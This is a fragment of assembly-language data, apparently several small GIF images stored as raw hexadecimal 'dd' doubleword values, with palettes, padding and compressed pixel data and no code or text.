dd 0B511D07Ch, 0D0A50B50h, 0CD15539h, 0D0D4E15h, 49ED3D51h
dd 5B87F07Fh, 53FD3F4h, 540D3ED4h, 5F541D0Fh, 53ED41Ch
dd 0D4545C54h, 3CCD553Dh, 1373D0CDh, 4A44ABCEh, 5E52ECD2h
dd 850F50C4h, 53B51451h, 0E0515D15h, 9CA1D15Ch, 46545E51h
dd 60C9CC63h, 0D4D141A4h, 45C4C152h, 65C5A41Bh, 0B54A41ACh
dd 546D58CAh, 5655253Dh, 44ADD1BDh, 4A8CB037h, 0F3475421h
dd 942D427Ch, 0B46D29D2h, 0F952B52Ah, 6BFABF9Bh, 565D44CDh
dd 66D66D66h, 654445CDh, 0D3CC5ED4h, 0ABD3A54Eh, 0E4F1CDB4h
dd 0CDA4FF46h, 6AD08D38h, 16D3C57Ah, 555A5145h, 567568CDh
dd 74573D73h, 5D75574Dh, 576D7657h, 78577D77h, 2D75D78Dh
dd 0D7151351h, 79541543h, 5D7D57CDh, 53F07ED6h, 7ED6757Eh
dd 0ED44D7F5h, 582D71D7h, 7E580D83h, 55665845h, 0D68573D8h
dd 82543D7Bh, 3D6945EDh, 0C63CA2D8h, 0EC463D53h, 0BD11B7ACh
dd 0C4337C3Dh, 0BEC83C82h, 987BCBF4h, 0BEF484B4h, 7987BB48h
dd 9B485940h, 4F84BA43h, 80BA4h, 3Bh, 38464947h, 136139h
dd 0F5E70017h, 20212200h, 38583A1Fh, 3D163537h, 5C3C1C63h
dd 1C613D19h, 3E1F603Eh, 5F402360h, 2162411Fh, 421E6241h
dd 5D422865h, 1D3E3F41h, 48226B46h, 6D48236Eh, 1F684928h
dd 4646754Bh, 6F4D2546h, 21674B30h, 4F267B4Fh, 764F2774h
dd 27745128h, 542A7952h, 7B542B7Bh, 2C835625h, 59267F58h
dd 7A5A2E87h, 58865C2Eh, 5A435556h, 855E3071h, 336E5A47h
dd 5F32805Fh, 87603184h, 5A8C6130h, 6437595Ah, 5B5D5F88h
dd 388F6636h, 61628A66h, 62626260h, 3B906A3Ah, 664E8E6Ah
dd 946B3A80h, 3B8F6D40h, 6953966Eh, 91704181h, 47936E48h
dd 6A6C8E71h, 97734268h, 46856F58h, 75479473h, 9A764397h
dd 4283705Fh, 7849A176h, 71727497h, 4B9C7B49h, 795E9B7Ch
dd 9A7A5994h, 48777777h, 7778A980h, 85796D76h, 79A8804Bh
dd 7E6A7879h, 91807094h, 5FA48565h, 8282A289h, 97877083h
dd 85878583h, 90598585h, 0B59159B4h, 5D8A8887h, 8D73B592h
dd 948C84A6h, 8C8D8C8Bh, 908F8E8Dh, 0AC977191h, 95959494h
dd 9F669595h, 0A19990C1h, 92C1A16Ch, 9B92A199h, 0C2A36DA4h
dd 95AD9C8Ch
dd 9D8DA29Bh, 9D9B99A8h, 719B9B9Bh, 0A281C3A5h, 9F9F9FB4h
dd 8EA2A2A2h, 0B075BBAAh, 0CDAF7ECCh, 80CEB37Dh, 0ABABCFB4h
dd 0C2AF96ABh, 83BBAE9Eh, 0ACACD0B4h, 0C1B19AACh, 9EB2B0AFh
dd 0B5ABCAB7h, 0D6BB8EBBh, 0A8D9C185h, 0BC9DC7B9h, 0B6B7B8D1h
dd 0A3D9BF92h, 0B8B9CFBCh, 0D4BE9BB7h, 0ACD9C191h, 0C28FC8BBh
dd 0DAC38DD9h, 9CBABABAh, 0BBBBD8C1h, 0DAC29CBBh, 0BDDBC39Ah
dd 0C1A7BCBCh, 0DBC39ED2h, 9CCFC1AEh, 0C0C2DDC6h, 0DEC99CBEh
dd 0C2C1C1C1h, 0C3B8C1C1h, 0DFCA9BCEh, 9BE1CE93h, 0C4C4E1CDh
dd 0C5C5C5C4h, 0C6E1CF9Ah, 0C6C9C6C6h, 0E4CDA9C4h, 0AADBCCB1h
dd 0CBC6E5CFh, 0E6D1AACEh, 0AAD2CCC4h, 0CCCCE8D3h, 0D3CEC6CCh
dd 0AACDCDCDh, 0CFC6E9D5h, 0D3CFC7D4h, 0CCD4D0C6h, 0D1C7CFCFh
dd 0D5D2C7D5h, 0D2D0D0D0h, 0D9ABCED0h, 0D6D3C7EAh, 0BBD1D1D1h
dd 0D2D2E4D7h, 0EDDDABD2h, 0D2D8D6CAh, 0D5D5D5D4h, 0EEE0ACD5h
dd 0A9D6D6D6h, 0D8D7EFE2h, 0DADADAD9h, 0C3D8DADCh, 0DBDBEBE0h
dd 0D9DBDCDBh, 0DDDCDCDCh, 0DDDDDCDDh, 0DCDDDFDDh, 0DFDEDEDEh
dd 0DFE0DEDFh, 0F0E7CADFh, 0E5E0E2E3h, 0E3E3DFE2h, 0E4E4E4E3h
dd 0E8F1E7D9h, 0E6E6E3E5h, 0F5E9D8E6h, 0EAE9E9E9h, 0EBE8EAEAh
dd 0F4EDE1EEh, 0EDEBEBEBh, 0ECEFECECh, 0EDEDEDE9h, 0F3EDEFF1h
dd 0F1F1EEF0h, 0F2F2F2F1h, 0F3F8F3EDh, 0F4F4F3F3h, 0F4F4F5F4h
dd 0E2F5F5F5h, 0F5F7FFFAh, 0F6F6F6F3h, 0F7FAF7F3h, 0F9F9F7F7h
dd 0FAFAFAF9h, 0FDFBFBFDh, 0FEFEFDFDh, 0FEFFFFFEh, 8 dup(0FFFFFFFFh)
dd 4F921FFh, 0FF000A01h, 2C00h, 130000h, 8000017h, 0C9FF00FEh
dd 0D68B85EAh, 5EAF58ACh, 6A9562C1h, 0C487B118h, 0A7FBFD8Eh
dd 5E30184Eh, 42A95CB7h, 0B6148A65h, 0EE43207Ah, 53AD07F9h
dd 309C4F28h, 0A9448A59h, 7197C85Ah, 0C40B19FEh, 42A25168h
dd 7B712080h, 3FCE12F9h, 0D8EA735Dh, 51C743D1h, 0E6F27AB9h
dd 0E6D7ACF1h, 6831A95Fh, 0D44194DCh, 783BE90Eh, 339DD2EEh
dd 989E8E47h, 68B0937Fh, 5DC832B9h, 0C0EC783Ch, 8D96D375h
dd 5E6DB86Dh, 0D251F9FEh, 743AD0C4h, 9B75C6E4h, 0B52FAD46h
dd 54A29B6Fh, 484787F9h, 0BADE7125h, 0ACD6BDB5h, 826B33F1h
dd 0F298E452h, 69228F2Fh, 4E6732C7h, 0B3996CB6h, 7C6C7C68h
dd 0DFE4E240h, 52BB6423h, 0EBF5CEA7h, 72653318h, 0B0E8D080h
dd 313FC585h, 0D6E95AC1h, 3156AABDh, 0F08A6F5Fh, 0CD216168h
dd 44B91844h, 0CA0E5729h, 463029D6h, 0C108C47Eh, 7FC4CCC1h
dd 0DA653E8Dh, 1FD469AEh, 777C4329h, 0E12140C8h, 49EB9108h
dd 247A3D44h, 1D1AD2E9h, 20B86A38h, 99C1E1A1h, 34EF13EBh
dd 0A887422h, 9C2B1308h, 30601E0h, 7E03B13Ch, 48D04CFFh
dd 40383D1Fh, 5C1B0641h, 33014100h, 44E0817Ch, 8111902Fh
dd 0B0180402h, 0DC070240h, 0D785C6C0h, 8C5C0A9h, 4080040Ch
dd 1845005h, 35D78900h, 25130590h, 12C6A104h, 42285E30h
dd 90085617h, 6408FE3h, 405D79h, 3Bh, 0
dd 38464947h, 2F6139h, 0FFE70035h, 52291400h, 11282A29h
dd 2D1B5E2Fh, 522D205Dh, 0E5A301Dh, 331E7134h, 64351A57h
dd 246B361Bh, 352A6136h, 68391F5Ch, 0D623A21h, 3B1C7D3Eh
dd 6B3B2276h, 3A723D1Dh, 3E25393Bh, 5E3D306Eh, 2D633E2Bh
dd 4026693Eh, 7842226Ah, 1A72412Ah, 44228045h, 63423573h
dd 28694330h, 46278145h, 8948217Ch, 4579492Ah, 492B4447h
dd 864B2380h, 2F694934h, 49396F4Ah, 69483B64h, 34834C2Fh
dd 4E36784Dh, 864F327Ah, 2B8D512Ch, 4F3D8852h, 7E543276h
dd 31845335h, 53519255h, 8E583250h, 3A835837h, 573C8957h
dd 7357488Fh, 33845840h, 5C38985Ch, 8D5C3E92h, 5F905F38h
dd 5E45595Ah, 5A5C5B85h, 5A97603Ch, 6043605Eh, 83614D92h
dd 3FA1643Bh, 62609665h, 7A62575Fh, 46966447h, 674B9165h
dd 78655E9Ah, 47A76A3Fh, 6B4CA26Ah, 9E6C4797h, 66666967h
dd 6C557769h, 0A1714190h, 519B7048h, 72469C6Fh, 987250A9h
dd 4F6B6E6Dh, 744CA971h, 0A37751A0h, 4C9D7755h, 7752AF78h
dd 797577A9h, 698B766Eh, 78769678h, 0A47E5875h, 64B07E59h
dd 7D659C7Eh, 8F7D72A6h, 7C8B7D79h, 7E837B7Eh, 0B783607Dh
dd 79AB8463h, 885B9581h, 808381BAh, 5FAB896Dh, 8876BE8Ch
dd 0BA8D68A9h, 85A38A7Bh, 8A8B9889h, 0BE916B88h, 8CB99170h
dd 9084918Eh, 0B693789Dh, 82C39767h, 966FB092h, 9D918EC3h
dd 7E8F9290h, 9A74B396h, 0C99D6EC8h, 969A9698h, 99919598h
dd 0B09C87A1h, 92C69E7Dh, 0A07AB39Bh, 0C29F83CEh, 74C8A07Fh
dd 0A47BD0A3h, 0A59F9ACBh, 0A0CDA584h, 0A59A9FA2h, 0BFA793B9h
dd 7AD2AB81h, 0A989D3ADh, 0AEA7A3D2h, 93A5A8A6h, 0B17EC9ABh
dd 0D8AF8ED7h, 0ABD9B188h, 0AEA4AAADh, 0D4B38CBCh, 0B4D6B296h
dd 0B1ACADAEh, 0DEB889B4h, 93C6B3A5h, 0B2B8D9B7h, 0B2B5B3B1h
dd 9CDCBC8Eh, 0B8A1DCB8h, 0DEBB97D7h, 0BDB5B8B6h, 0C093B6B7h
dd 0E1BE9AE1h, 0A1BDBAB7h, 0BBB9E1BDh, 0DDBFA7B8h, 9BDEC1A1h
dd 0BDC2DFC4h, 0BCBFBDBBh, 0AECEC0B6h, 0C0BCDBC2h, 0E3C997C9h
dd 0C0E2C5A5h, 0C1C6BFC2h, 0E4C9A0BFh, 0C6E4C6AEh, 0C5C3C8C3h
dd 0E7C8B1C1h, 0ABE8CDA4h, 0CF9EE8CBh, 0C5C6CBE9h, 0C3E3CAB6h
dd 0C9C7CEC9h, 0E5CDB1C6h, 0CAE0CCBDh, 0D2AEC9CCh, 0D8CFCAE8h
dd 0CED3CFCEh, 0D1C5CDD0h, 0CDCFD4DFh, 0D0ECD6B2h, 0DBAECFD2h
dd 0D1D2D8EFh, 0D4D1D4D2h, 0D8C8D3D6h, 0DAD7D4ECh, 0CED5D6DBh
dd 0D9D5E8DAh, 0D8D9DEE2h, 0DCD7DBD9h, 0DFDADBDEh, 0DCDEE3E2h
dd 0D6DDE0DEh, 0E2DFF0E2h, 0E1E4E2DEh, 0E1E2E3E8h, 0E9DCE9E7h
dd 0E5E8E6F7h, 0E8E7E8EEh, 0EDE4E7EAh, 0EBECF2F5h, 0E1EBEEECh
dd 0F2EFF9F2h, 0F5F2EDEEh, 0E8F0F1F7h, 0F5F2FEF6h, 0FAF8F2F1h
dd 0F7F6F7FDh, 0FCFAF6F9h, 0FFFDF8F9h, 0FDFAFCFFh, 0FFFFFCFFh
dd 4F921FFh, 0FF000A01h, 2C00h, 2F0000h, 8000035h, 9FF00FEh
dd 8D46B354h, 130883C1h, 7058342Ah, 23842A1h, 0E7F38623h
dd 8BC59F8Fh, 0C46A3318h, 0C7A3B148h, 0FE22F78Fh, 0DD6FC79Bh
dd 52D56BB5h, 0F2C67B56h, 0C697B319h, 160B1262h, 60CD988Ch
dd 0FBF1CCC9h, 98E3B3C8h, 1DECF088h, 68AC563Bh, 7B486051h
dd 0B55AD29h, 0B25A2D56h, 0D7354AA0h, 2CBFAAB3h, 22F1ED40h
dd 3029147Ah, 3E98BDA5h, 0ACAB4A8Dh, 0ACEB60ACh, 302AC556h
dd 5E5B2BE8h, 25B2D981h, 5AD3A9B6h, 0AA96564h, 0DAED4EF6h
dd 0A5E4ED88h, 16D6F57Ah, 12B05B61h, 4AC56627h, 0A1556395h
dd 5BF3D192h, 79600A35h, 7E6952A4h, 6333B8C5h, 871EA653h
dd 729924E2h, 0DEEE88E5h, 9D5026Dh, 0A6D7EBB4h, 0BD1EC942h
dd 0D3E99F0Dh, 0B3C9D902h, 0EF93A9B4h, 0B382A04Eh, 0F649C4E6h
dd 76DB4E25h, 5969EEDEh, 8E75BA60h, 4E9A551Eh, 0EBA5FA7Dh
dd 0D2852297h, 0BEE7BCB9h, 0FE9F1123h, 0FD1E8A13h, 0E8F3A451h
dd 0F50A2D23h, 0F7BEF94Eh, 0FEDDF7F0h, 0BADCF11Eh, 13F2843Eh
dd 5128945Ah, 0C8DFFA3h, 0F1479EC2h, 8151F7C5h, 8FB3E8FAh
dd 7409E03Eh, 0E074398Eh, 7F84C7F1h, 85A1620Ch, 1932AC7Fh
dd 182A0981h, 0CCF73E9Fh, 2388E223h, 834F73DEh, 8E6390FFh
dd 11D0721Ch, 0FE301E21h, 0B62EA301h, 8760B815h, 0CF13CE21h
dd 0B8F63C8Eh, 862888A3h, 6F1B0DE3h, 1BC6F1D0h, 6C1D22Ch
dd 8450BA1Eh, 81EF878Fh, 0EE3C6228h, 95E56954h, 4F73CE57h
dd 0D444423Ch, 1065378Dh, 6C98C6C9h, 33474194h, 61D880FEh
dd 0C3B8F387h, 0C6709BCEh, 0F33AA729h, 3B8DF3A8h, 8DE36228h
dd 0D9F46517h, 4C7415E7h, 26884FD3h, 886203DEh, 68A9CA6Eh
dd 0E1CE759Ch, 443E3B87h, 5A34CD84h, 17C5E178h, 0C791345Ah
dd 43D4F937h, 0B23B88E2h, 0A4A8CE73h, 3A2A5A96h, 867380F0h
dd 3C47301h, 0D6FE4444h, 1684E34Ch, 4515C5Fh, 0F3E4E31Fh
dd 8A3D8EA9h, 0A3AFEA6Ah, 170D03C6h, 7E03C0Eh, 240A913Bh
dd 384EAC8Dh, 0EA230451h, 8F8F03D4h, 0E83BA58h, 93BABFB0h
dd 7820140Bh, 0AF3B2C60h, 0AC8CE40Ah, 89A1143Ah, 73B0F33Bh
dd 86A2A2E5h, 0EFBBEEE3h, 39CE138Ah, 44B294ECh, 60902D0Bh
dd 443339ECh, 3A34CBF4h, 3B8A5104h, 0E8A8CEDh, 8B5CEC3Ah
dd 370C38ADh, 0F339F0CCh, 12C9439Eh, 0EF90DC34h, 23848A03h
dd 58B929D2h, 0F239CA51h, 0C8F22BC2h, 0E738ED8h, 11071339h
dd 601AC584h, 22388930h, 2ECDC249h, 0CD9368E1h, 0ACE738CDh
dd 0BB2336B3h, 0DC3A4E4Bh, 12C50208h, 4320EC41h, 50601E0Bh
dd 0DD22364Ah, 3ACD8E71h, 0CF751D47h, 0D13A4E1h, 0BD0C541Fh
dd 841AD1F2h, 222DCB90h, 364E1145h, 0F66D94D6h, 0DD9B68D9h
dd 0C4CA39F3h, 50158501h, 0B72B118h, 3903C29h, 34889934h
dd 0D933FE83h, 0DFCD2338h, 0F82E0780h, 6368D9DFh, 88E13738h
dd 5B1B4B93h, 0DC85616Ch, 0C23C583Bh, 38C5303h, 68AD4891h
dd 9CE6CCE3h, 0E739EE77h, 4E0E1B85h, 0CE309F37h, 0EC46DC05h
dd 1FBE4340h, 38875024h, 486446C9h, 6ED4CB36h, 0DBB8EDFBh
dd 63CDCD6Eh, 1706424Fh, 0F711545Ch, 30B7AA10h, 7C180442h
dd 2488CE2h, 338D2145h, 0BB7F47B9h, 1384D934h, 745D220Dh
dd 4613FC11h, 0B034F10h, 40908C29h, 0C248D10Eh, 38B340BCh
dd 0ECFACC33h, 0FAFEEFB7h, 8CA384CEh, 0E1705B20h, 0C4A13F8h
dd 2E0D03C1h, 2418F84h, 73472062h, 0F5081798h, 880E2F9h
dd 8702A04Ch, 0C45D8D91h, 0C05D0B61h, 67B81582h, 6F7DFD84h
dd 0C0CBAD04h, 3E719027h, 7D610081h, 1E10C0Ah, 658C3171h
dd 580CC27Ch, 9E1542C0h, 0F41EBF80h, 602E06C0h, 47FF0601h
dd 0A1DC7084h, 0C4910283h, 0C3C17032h, 8790FA1Eh, 0C5F0B1FEh
dd 0C2A1102Fh, 7BAFE209h, 0F821803Ch, 881803Eh, 0D4126040h
dd 8E40A1C0h, 0CC5F0B80h, 0CC588AE2h, 817E2CE2h, 40FC3A8Bh
dd 8253F809h, 83C07A11h, 8960C624h, 2409818h, 408DC088h
dd 86205148h, 0B116A2B0h, 8C5B8B18h, 0A8350CC2h, 0E0941281h
dd 0E0DA24C2h, 2263E18Ch, 81001004h, 8DE30C4Fh, 2A019902h
dd 468AD166h, 0B891B23Ah, 6014C4C0h, 0F41A8300h, 747F06D1h
dd 9830FF41h, 60400801h, 86C86200h, 1039101Ah, 94E2A246h
dd 2CC56CA7h, 1083F120h, 3195E0ACh, 5326A588h, 7A34C810h
dd 102F0072h, 29482786h, 12A059BBh, 83DC8D15h, 8210360Ah
dd 6208662h, 0CE5A3FDh, 4FC9E031h, 8713002Ah, 332265E4h
dd 0FA538AD1h, 88130D12h, 0B9B606C0h, 608C0FCDh, 24E81986h
dd 0C8301804h
dd 1A420002h, 0F366913Fh, 538A813Ch, 0C0C228Ch, 3D336420h
dd 4E70CE19h, 0FE089C60h, 10058060h, 50370050h, 8CEA8DC3h
dd 714418C8h, 0A020308Ah, 501703h, 50A01002h, 9E327A79h
dd 280B4F9h, 6706800Ah, 22A02F98h, 0EC2A0351h, 980A8250h
dd 280D03A0h, 0B00B4880h, 400A85D0h, 80E81701h, 6E01402h
dd 2427869h, 1ADE6518h, 1C087150h, 2804A054h, 1C0A8h, 8010000h
dd 68050060h, 0DA540740h, 54B83D81h, 1F3D3104h, 9014418h
dd 3A05426h, 5012825h, 2800008h, 1D05153Ch, 300E0058h
dd 268B8D21h, 0C8477CF5h, 70D22784h, 95440A02h, 81401D03h
dd 81C02B5Ah, 1902C430h, 14AAFC37h, 4289E10Dh, 27ACA148h
dd 38094138h, 402401C0h, 60AD1902h, 38A55C8Bh, 42644906h
dd 1384C0Fh, 4805007h, 17C2CC40h, 60EA4086h, 38022911h
dd 7A124248h, 5C21C348h, 0A0490B31h, 9CA4B268h, 0B10C1C01h
dd 21444948h, 0A8C5A000h, 470C608h, 0B5F6A6D4h, 8010D01h
dd 3B00h, 38464947h, 0F16139h, 6DC60028h, 0F3E7C900h, 0C9F3E7CAh
dd 0E8CAF3E8h, 0F3E8CBF3h, 0CCF4E8CBh, 0E9CCF4E8h, 0F4E9CDF4h
dd 0CDF4E9CEh, 0EACEF4EAh, 0F5EACEF4h, 0CFF4EACFh, 0EAD1F5EAh
dd 0F4EBD0F5h, 0D1F5EBD0h, 0EBD1F4EBh, 0F5EBD2F5h, 0D2F5EBD3h
dd 0ECD3F5ECh, 0F6ECD3F5h, 0D5F6ECD4h, 0EDD4F6ECh, 0F6EDD4F5h
dd 0D5F5EDD5h, 0EDD6F6EDh, 0F6EDD6F5h, 0D6F6EDD7h, 0ECDEF6EEh
dd 0F6EED7F3h, 0D8F6EED8h, 0EED9F7EEh, 0F6EFD8F6h, 0DAF6EFD9h
dd 0EFDAF6EFh, 0F7EFDBF7h, 0DCF7F0DAh, 0F0DDF7F0h, 0F8F1DDF7h
dd 0DEF7F1DEh, 0F1DFF8F1h, 0F8F1E0F8h, 0E0F9F1E0h, 0F2E0F8F2h
dd 0F8F2E1F9h, 0E2F7F1E5h, 0F2E2F8F2h, 0F5F1E7F9h, 0E3F8F2E3h
dd 0F3E0F9F2h, 0FAF3E1FAh, 0E3FAF3E2h, 0F3E4F9F3h, 0F8F3E5F9h
dd 0E5FAF4E1h, 0F4E2F9F3h, 0FAF4E3FAh, 0E5FAF4E4h, 0F4E4F8F4h
dd 0F9F4E5FBh, 0E6F9F4E6h, 0F4E7FAF4h, 0FBF5E4FAh, 0E6FBF5E5h
dd 0F5E7FBF5h, 0FBF5E7FAh, 0E7FAF5E8h, 0F6E8FBF6h, 0FBF6E8FAh
dd 0E9FAF6E9h, 0F6EAFBF6h, 0FAF6EBFBh, 0EAF9F6EEh, 0F7EAFBF7h
dd 0FCF7EBFCh, 0EEFCF7ECh, 0F8ECFAF7h, 0FCF8EDFCh, 0EFFCF8EEh
dd 0F9F0FCF9h, 0FDF9F0FCh, 0F2FCF9F1h, 0FBF4FDFAh, 0FEFCF7FDh
dd 0Eh dup(0FFFFFFFFh), 4F921FFh, 7F000A01h, 2C00h, 0F10000h
dd 7000028h, 827F80FEh, 86858483h, 8A898887h, 8E8D8C8Bh
dd 9291908Fh, 96959493h, 9A999897h, 9E9D9C9Bh, 6A6B6C91h
dd 0A6A56668h, 0AAA9A8A7h, 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h
dd 6867B5B7h, 6B853C62h, 5B606468h, 0C6C5C4C3h, 0CAC9C8C7h
dd 0CECDCCCBh, 0D2D1D0CFh, 0D3D5D4D3h, 6663605Fh, 646A8467h
dd 0E251545Ah, 0E6E5E4E3h, 0EAE9E8E7h, 0EEEDECEBh, 0F2F1F0EFh
dd 52F2F4F3h, 655F5852h, 606882DCh, 88E4954h, 0A0B0481Ch
dd 130883C1h, 0B0C85C2Ah, 1087C3A1h, 489C4A23h, 8B922231h
dd 2978A44Bh, 999045D3h, 8E512Dh, 0A4B24919h, 532893C9h
dd 0B2C95CAAh, 3097CBA5h, 499CCA63h, 20CD66B3h, 4984AC49h
dd 48A411E3h, 0A83409Bh, 0A8B44A1Dh, 9126A3D1h, 0A6830148h
dd 50A44867h, 4A9D4AA3h, 2F52AAB5h, 0AD3E3EFCh, 0D7ABB5CAh
dd 44915FAFh, 0E9C662D9h, 0D368B04Fh, 0F2FB5DAAh, 0FEB2D8C8h
dd 659EB47Fh, 0DDAEB74Bh, 9AC96EAEh, 0AFB7CBBDh, 0E179A1DFh
dd 0B84BFDCAh, 819561B0h, 0CC5E1EF7h, 0B8E26FD8h, 9E4B1B3Eh
dd 60F1F6BCh, 533398CAh, 0B3591CB5h, 2D44CFE7h, 0E452816Bh
dd 0A8D3E987h, 0CD5EAB53h, 0D7EBB5BAh, 9ECB63B0h, 0EDB6BB4Dh
dd 1773B8DBh, 6E05A281h, 4A2E1D96h, 0BC4E1880h, 0C8E3F1B8h
dd 0CE5F2B93h, 0E7F3B9BCh, 9F4BA3D0h, 0F5BABD4Eh, 64762E12h
dd 46E57411h, 0C21C110Bh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h
dd 0F7FBBDBEh, 9FCBE3F0h, 8B445F4Fh, 5504571Bh, 4402B1A9h
dd 600FF86h, 480E028h, 81E06816h, 0E0A82608h, 0E8360C82h
dd 461083E0h, 2B082128h, 7E8550D4h, 0C1D0A434h, 0E8761C05h
dd 862087E1h, 2488E228h, 89E26896h, 0E2A8A628h, 0E8B62C8Ah
dd 0A41D8BE2h, 7F85C340h, 0A03314Ch, 0E3A0581Bh, 0E8F63C8Eh
dd 6408FE3h, 4490E429h, 91E46916h, 0A9FE2648h, 364C92E4h
dd 330A01B9h, 13C8214Ch, 0C1709032h, 0A9665804h, 765C96E5h
dd 6097E5E9h, 98E62986h, 0E6699664h, 0A9A66899h, 90179AE6h
dd 8213C320h, 9030138h, 0E7604416h, 0A9E6789Dh, 0F67C9EE7h
dd 809FE7E9h, 0A0E82A06h, 0E86A1684h, 6A2688A1h, 38300901h
dd 2F134821h, 3413080h, 0E96A5694h, 0AA6698A5h, 769CA6E9h
dd 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h, 0F08013A9h, 30821342h
dd 110782E1h, 0ACEB202Ch, 0EB6AD6B4h, 0AAE6B8ADh, 0F6BCAEEBh
dd 0C0AFEBEAh, 0B0EC2B06h, 811B16C4h, 21302E07h, 642C1188h
dd 0D00200E0h, 0B4ED2B46h, 0ED6B56D4h, 0AB66D8B5h, 76DCB6EDh
dd 0E0B7EDEBh, 0B8EE2B86h, 82C0640Eh, 0C10C8211h, 1C0C0602h
dd 0F0BBEEE0h, 0BCEF2BC6h, 0EF6BD6F4h, 0ABE6F8BDh, 0F6FCBEEFh
dd 0BFEFEBh, 600CC07h, 0AE910C2Ch, 4020140Ah, 370CC2C0h
dd 10C3F0ECh, 0C4F12C47h, 6C57FE14h, 6718C5F1h, 1CC6F1ACh
dd 271EC77h, 0F060A815h, 30A4421Fh, 0A40301C1h, 2CCAF2ACh
dd 0CBF2ECB7h, 0F32CC730h, 6CD734CCh, 0E738CDF3h, 3CCEF3ACh
dd 0AC16023h, 0C2810B23h, 6D1402C9h, 2748D1F4h, 4CD2F4ADh
dd 0D3F4ED37h, 0F52D4750h, 6D5754D4h, 0F57D5F5h, 0CACFC0A0h
dd 943E1FEh, 0C000180Fh, 6D9764D8h, 0A768D9F6h, 6CDAF6ADh
dd 0DBF6EDB7h, 0F72DC770h, 4DD774DCh, 24040077h, 0E9AAC1A0h
dd 17090AEh, 0F82E0780h, 6E1784E0h, 2788E1F8h, 8CE2F8AEh
dd 0E3F8EE37h, 792E4790h, 402407E4h, 0E4360981h, 1F0BE8F0h
dd 0E7EA7048h, 0FA2E87A0h, 6E97A4E8h, 4810A57Ah, 31094170h
dd 17083128h, 0DD670442h, 6ED7B4ECh, 0E7B8EDFBh, 2170FBAEh
dd 0B827090h, 48411036h, 21345C1Ah, 27C80E04h, 0CCF2FCAFh
dd 0F3FCEF37h, 0FD2F47D0h, 6F57D4F4h, 67D8F5FDh, 3AF63DAFh
dd 8C3D108h, 2F849F13h, 97E4F8FEh, 0E8F9FE6Fh, 0FAFEAFA7h
dd 8121BECh, 3B00h, 0
dd 38464947h, 0F16139h, 6DC60028h, 0D9B77300h, 73D9B775h
dd 0BA75D9BAh, 0D9BA77D9h, 79DCBA77h, 0BD79DCBAh, 0DCBD7BDCh
dd 7BDCBD7Dh, 0BF7DDCBFh, 0DFBF7DDCh, 7FDCBF7Fh, 0BF83DFBFh
dd 0DCC281DFh, 83DFC281h, 0C283DCC2h, 0DFC285DFh, 85DFC288h
dd 0C588DFC5h, 0E2C588DFh, 8CE2C58Ah, 0C88AE2C5h, 0E2C88ADFh
dd 8CDFC88Ch, 0C88EE2C8h, 0E2C88EDFh, 0A1E2C890h, 0CB8ED9C5h
dd 0E2CB90E2h, 93E2CB93h, 0CB95E5CBh, 0E2CD93E2h, 97E2CD95h
dd 0CD97E2CDh, 0E5CD9AE5h, 9CE5D097h, 0D09EE5D0h, 0E8D39EE5h
dd 0A1E5D3A1h, 0D3A3E8D3h, 0E8D3A6E8h, 0A6ECD3A6h, 0D3B2E8D6h
dd 0ECD6A6E5h, 0B7E8D6A8h, 0D6ABDFD3h, 0ECD6ABE8h, 0ADE8D6ADh
dd 0D9A6ECD6h, 0EFD9A8EFh, 0ADEFD9ABh, 0D9B0ECD9h, 0E8D9B2ECh
dd 0A8ECD9B2h, 0DCABEFDCh, 0EFDCADEFh, 0B0E8DCB2h, 0DCB2EFDCh
dd 0F2DCB0ECh, 0B5ECDCB5h, 0DCB7EFDCh, 0F2DFB0EFh, 0B5F2DFB2h
dd 0DFB7F2DFh, 0F2DFB7EFh, 0B7EFDFBAh, 0E2BAF2E2h, 0F2E2BAEFh
dd 0BDEFE2BDh, 0E2BFF2E2h, 0EFE2C2F2h, 0BFECE2CBh, 0E5BFF2E5h
dd 0F5E5C2F5h, 0CBF5E5C5h, 0E8C5EFE5h, 0F5E8C8F5h, 0CDF5E8CBh
dd 0ECD0F5ECh, 0F8ECD0F5h, 0D6F5ECD3h, 0F2DCF8EFh, 0FCF5E5F8h
dd 0Eh dup(0FFFFFFFFh), 4F921FFh, 7F000A01h, 2C00h, 0F10000h
dd 7000028h, 827F80FEh, 86858483h, 8A898887h, 8E8D8C8Bh
dd 9291908Fh, 96959493h, 9A999897h, 9E9D9C9Bh, 6A6B6C91h
dd 0A6A56668h, 0AAA9A8A7h, 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h
dd 6867B5B7h, 6B853A62h, 5B606468h, 0C6C5C4C3h, 0CAC9C8C7h
dd 0CECDCCCBh, 0D2D1D0CFh, 0D3D5D4D3h, 6663605Fh, 646A8467h
dd 0E251545Ah, 0E6E5E4E3h, 0EAE9E8E7h, 0EEEDECEBh, 0F2F1F0EFh
dd 52F2F4F3h, 655F5852h, 606882DCh, 88E4A54h, 0A0B0481Ch
dd 130883C1h, 0B0C85C2Ah, 1087C3A1h, 489C4A23h, 8B922231h
dd 2978A44Ch, 999045D3h, 8E512Dh, 0A4B24919h, 532893C9h
dd 0B2C95CAAh, 3097CBA5h, 499CCA63h, 20CD66B3h, 4984AC4Ah
dd 48A411E3h, 0A83409Bh, 0A8B44A1Dh, 9126A3D1h, 0A6830148h
dd 50A44867h, 4A9D4AA3h, 2F52AAB5h, 0AD3E3EFCh, 0D7ABB5CAh
dd 44915FAFh, 0E9C662D9h, 0D368B04Fh, 0F2FB5DAAh, 0FEB2D8C8h
dd 659EB47Fh, 0DDAEB74Bh, 9AC96EAEh, 0AFB7CBBDh, 0E179A1DFh
dd 0B84BFDCAh, 819561B0h, 0CC5E1EF7h, 0B8E26FD8h, 9E4B1B3Eh
dd 60F1F6BCh, 533398CAh, 0B3591CB5h, 2D44CFE7h, 0E462816Bh
dd 0A8D3E987h, 0CD5EAB53h, 0D7EBB5BAh, 9ECB63B0h, 0EDB6BB4Dh
dd 1B73B8DBh, 6E05A281h, 4A2E1E16h, 0BC4E1880h, 0C8E3F1B8h
dd 0CE5F2B93h, 0E7F3B9BCh, 9F4BA3D0h, 0F5BABD4Eh, 64782E12h
dd 47057411h, 0C21C118Bh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h
dd 0F7FBBDBEh, 9FCBE3F0h, 0B447F4Fh, 5504571Ch, 4402B1A9h
dd 600FF86h, 480E028h, 81E06816h, 0E0A82608h, 0E8360C82h
dd 461083E0h, 2B082128h, 7E8550D4h, 0C1D0A434h, 0E8761C05h
